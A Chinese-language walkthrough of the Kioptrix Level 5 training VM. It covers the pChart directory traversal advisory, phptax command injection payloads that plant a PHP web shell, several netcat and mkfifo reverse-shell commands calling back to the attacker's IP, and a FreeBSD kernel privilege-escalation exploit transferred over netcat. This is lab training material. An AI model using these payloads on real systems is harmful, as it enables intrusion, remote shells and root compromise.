Kioptrix Level 5（2014）靶机

Kiotrix Level 5(2014)

一、信息搜集

1、主机发现

nmap -sP 192.168.189.142/24 -T5

发现靶机ip为192.168.189.154

2、端口服务扫描

nmap -sS -sV -p- 192.168.189.154 -T5

开放了22,80,8080端口，访问后发现8080端口的页面没有权限访问：

查看80端口页面源码，发现了一个隐藏目录：pChart2.1.3/index.php

访问：

二、漏洞利用

1、任意文件读取

web应用的名称似乎是pChart2.1.3，用searchsploit查询历史漏洞：

searchsploit pChart 2.1.3

编号31173

searchsploit -m 31173
cat 31173.txt

具体漏洞信息：

# Exploit Title: pChart 2.1.3 Directory Traversal and Reflected XSS
# Date: 2014-01-24
# Exploit Author: Balazs Makany
# Vendor Homepage: www.pchart.net
# Software Link: www.pchart.net/download
# Google Dork: intitle:"pChart 2.x - examples" intext:"2.1.3"
# Version: 2.1.3
# Tested on: N/A (Web Application. Tested on FreeBSD and Apache)
# CVE : N/A

[0] Summary:
PHP library pChart 2.1.3 (and possibly previous versions) by default
contains an examples folder, where the application is vulnerable to
Directory Traversal and Cross-Site Scripting (XSS).
It is plausible that custom built production code contains similar
problems if the usage of the library was copied from the examples.
The exploit author engaged the vendor before publicly disclosing the
vulnerability and consequently the vendor released an official fix
before the vulnerability was published.


[1] Directory Traversal:
"hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd"
The traversal is executed with the web server's privilege and leads to
sensitive file disclosure (passwd, siteconf.inc.php or similar),
access to source codes, hardcoded passwords or other high impact
consequences, depending on the web server's configuration.
This problem may exists in the production code if the example code was
copied into the production environment.

Directory Traversal remediation:
1) Update to the latest version of the software.
2) Remove public access to the examples folder where applicable.
3) Use a Web Application Firewall or similar technology to filter
malicious input attempts.


[2] Cross-Site Scripting (XSS):
"hxxp://localhost/examples/sandbox/script/session.php?<script>alert('XSS')</script>
This file uses multiple variables throughout the session, and most of
them are vulnerable to XSS attacks. Certain parameters are persistent
throughout the session and therefore persists until the user session
is active. The parameters are unfiltered.

Cross-Site Scripting remediation:
1) Update to the latest version of the software.
2) Remove public access to the examples folder where applicable.
3) Use a Web Application Firewall or similar technology to filter
malicious input attempts.


[3] Disclosure timeline:
2014 January 16 - Vulnerability confirmed, vendor contacted
2014 January 17 - Vendor replied, responsible disclosure was orchestrated
2014 January 24 - Vendor was inquired about progress, vendor replied
and noted that the official patch is released.

发现存在任意文件读取：/examples/index.php?Action=View&Script=%2f…%2f…%2fetc/passwd

读取apache配置

http://192.168.189.154/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf

根据配置文件，我们的user-agent必须要为Mozilla/4.0 Mozilla4_browser才能成功访问

2、请求头伪造

我们用BP拦截请求包，或者修改火狐浏览器配置，自定义useragent头，修改后放行可成功访问

web应用为phptax，我们搜素历史漏洞：

searchsploit phptax

发现了命令执行漏洞：

http://192.168.189.154:8080/phptax/drawimage.php?pfilez=xxx; nc -l -v -p 5566 -e /bin/bash;&pdf=make

尝试后不能反弹，我们尝试写入一个后门：

http://192.168.189.154:8080/phptax/drawimage.php?pfilez=xxx;echo "<?php system($_GET['cmd']);?>" > shell.php;&pdf=make

http://192.168.189.154:8080/phptax/shell.php?cmd=ls

成功返回了执行结果：

[!IMPORTANT]

执行命令中有空格必须要url编码，否则无法执行成功

尝试nc反弹shell，-e，-c，都无法反弹，尝试串联：

nc -lvp 5566
nc -lvp 7788

nc 192.168.189.142 5566 | /bin/bash | nc 192.168.189.142 7788   # 串联

#URL编码
%6e%63%20%31%39%32%2e%31%36%38%2e%31%38%39%2e%31%34%32%20%35%35%36%36%20%7c%20%2f%62%69%6e%2f%62%61%73%68%20%7c%20%6e%63%20%31%39%32%2e%31%36%38%2e%31%38%39%2e%31%34%32%20%37%37%38%38

执行后连接成功但瞬间断开：

最后发现net Cat可以执行反弹shell：

nc -lvp 5566

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.189.142 5566 >/tmp/f

成功反弹拿到shell

三、权限提升

1、内核提权

uname -a

搜索exp:

searchsploit FreeBSD 9.0

发现两个提权脚本，测试后第一个可用：

searchsploit -m 28718

可惜目标机器没有wget:

我们用nc将提权脚本传输到靶机，编译后执行

nc -lvp 8888 < 28718.c   # 攻击机
nc 192.168.189.142 8888 > kill_root.c &  # 靶机连接攻击机拿到提权脚本，加上&后台运行，避免阻塞终端

gcc -o kill_root kill_root.c   # 编译攻击脚本
./kill_root

提权成功！